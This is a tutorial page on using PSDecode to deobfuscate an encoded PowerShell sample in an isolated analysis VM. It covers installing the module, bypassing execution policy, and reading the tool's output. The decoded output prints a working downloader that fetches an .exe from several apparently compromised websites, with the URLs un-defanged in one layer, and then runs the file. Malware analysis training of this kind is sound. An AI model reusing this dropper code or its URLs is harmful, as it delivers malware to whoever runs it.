PSDecode

What PSDecode does

Guided SUSA tool journey

PSDecode supports malware analysis. In this guide, you will use it to decode a safe PowerShell training sample and explain the recovered commands. The procedure and screenshots provide the practical reference; the surrounding context explains what to record and how to judge the result.

Tool guide at a glance

Investigation task

Decode a safe PowerShell training sample and explain the recovered commands.

Starting material

An inert or purpose-built training sample stored in a disposable isolated analysis VM.

Successful outcome

A static observation or capability finding with sample hash, tool output, and confidence statement.

Evidence and safety

Do not execute unknown samples on SUSA. Disable shared folders and credentials, and use only authorised training material. Record the input identifier, tool version, relevant commands or settings, time and time zone, output location, and any errors or limitations as you work.

Choose your journey

01Understand the evidenceLearn the malware analysis concepts and limitations.Complete when you can explain what the evidence can and cannot show.Beginner · No tool required · 15–25 min 02Follow the PSDecode guideWork through the commands, screenshots, and instructional sequence below.Complete when the documented workflow produces its expected output.Guided · SUSA workstation · Time varies 03Interactive labPractise the tool workflow in a safe browser simulation.Complete when the guided result is supported by the case evidence.Beginner · Browser only · 10–20 min 04Full LabInvestigate an authorised training scenario with fewer prompts and preserve a reviewable result.Complete when another analyst can reproduce and verify the outcome.Intermediate · Isolated lab · 45–90 min

How the labs complement this guide

The Interactive Lab is a safe browser simulation for practising the workflow and validation logic. The Full Lab is an independent exercise for an isolated, authorised environment. Confirm the installed tool version and expected output before relying on either exercise in a real case.

Accessing PSDecode in SUSA

PSDecode is a PowerShell deobfuscation tool that helps analysts decode and inspect obfuscated PowerShell scripts. It intercepts common execution functions (such as Invoke-Expression) to reveal the commands a script is attempting to run, making it useful for malware analysis and incident response.

Use an isolated malware-analysis environment

PSDecode can expose a script to PowerShell execution paths that the tool does not intercept. Use only known training material in an isolated, disposable VM with networking disabled or tightly controlled. Never run an untrusted script on an evidence source, analyst workstation or production system.

From the PSDecode GitHub repository, download PSDecode.psm1.

Move the script to the C:\Tools\PSDecode folder.

Open an administrator PowerShell prompt. Run the following commands to create a PSDecode directory under $PSHome\Modules, copy PSDecode.psm1 into it and verify the result:

New-Item -Path "$PSHome\Modules\PSDecode" -ItemType Directory -Force
Copy-Item "C:\Tools\PSDecode\PSDecode.psm1" "$PSHome\Modules\PSDecode\"
Get-ChildItem "$PSHome\Modules\PSDecode"

Download a sample of encoded PowerShell script and save it as encoded.ps1 in the C:\Tools\PSDecode directory. In my case, I’ve copied the encoded script from the GitHub repository.

JABjAGsAXwBBADQAQQA9ACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAJwBLAEEAJwAsACgAIgB7ADAAfQB7ADEA<SNIP>ewAwAH0AewAyAH0AewAxAH0AIgAtAGYAJwBUAEEAQQAnACwAJwB4ADEAJwAsACcAQQAnACkA

Open a new administrator PowerShell prompt. Run the following commands to bypass the PowerShell execution policy, import the PSDecode module.

powershell -ep bypass
Import-Module PSDecode

Make sure VM is disconnected from the internet and run the following command to decode.

PSDecode -dump -beautify -verbose .\encoded.ps1

As shown above, the execution is blocked by antivirus, but we can see that script is partially decoded and matches with the original content:

############################## Layer 3 ##############################
$ck_A4A='KAABkDA';$QAUAZD = '625';$rDAcAA='wBXco4';$PDkkkCA=$env:userprofile+'\'+$QAUAZD+'.exe';$IAAAUDZ='jcwCCUQ4';$uox1Cw=new-object NET.WEbcLient;$zwQA1B='https://etprimewomenawards.com/wp-admin/G63C7/@http://healthytick.com/wp-content/uploads/PRBF/@http://servidj.com/cgi-bin/KC/@https://www.ninepoweraudio.com/wordpress/6NA4/@http://matrixinternational.com/Site/Media/css/5Yxi/'.spLit('@');$bcBAQ_='pAwDUAAw';foreach($TGBQUB in $zwQA1B){try{$uox1Cw.DowNlOADFILE($TGBQUB, $PDkkkCA);$aAZ4AADA='BAUDUD';If ((Get-Item $PDkkkCA).LENGTH -ge 28397) {Invoke-Item $PDkkkCA;$TABD4UA='O41AQc';break;$mCDZUA='mDoBcD'}}catch{}}$jZBCCA='TAAAx1'

######################### Beautified Layer ##########################
$ck_A4A='KAABkDA';
$QAUAZD = '625';
$rDAcAA='wBXco4';
$PDkkkCA=$env:userprofile+'\'+$QAUAZD+'.exe';
$IAAAUDZ='jcwCCUQ4';
$uox1Cw=&('new-object') NET.WEbcLient;
$zwQA1B='hxxps://etprimewomenawards.com/wp-admin/G63C7/@hxxp://healthytick.com/wp-content/uploads/PRBF/@hxxp://servidj.com/cgi-bin/KC/@hxxps://www.ninepoweraudio.com/wordpress/6NA4/@hxxp://matrixinternational.com/Site/Media/css/5Yxi/'.spLit('@');
$bcBAQ_='pAwDUAAw';
foreach($TGBQUB in $zwQA1B){
    try{
        $uox1Cw.DowNlOADFILE($TGBQUB, $PDkkkCA);
        $aAZ4AADA='BAUDUD';
        If ((Get-Item $PDkkkCA)."LENGTH" -ge 28397) {
            Invoke-Item $PDkkkCA;
            $TABD4UA='O41AQc';
            break;
            $mCDZUA='mDoBcD'}
        }
    catch{
        }
    }
$jZBCCA='TAAAx1'

############################## Actions ##############################
    1. [System.Net.WebClient.DownloadFile] Download From: hxxp://etprimewomenawards.com/wp-admin/G63C7/ --> Save To: C:\Users\REM\625.exe
    2. [Get-Item.length] Returning length of 100000 for: C:\Users\REM\625.exe
    3. [Invoke-Item] Execute/Open: C:\Users\REM\625.exe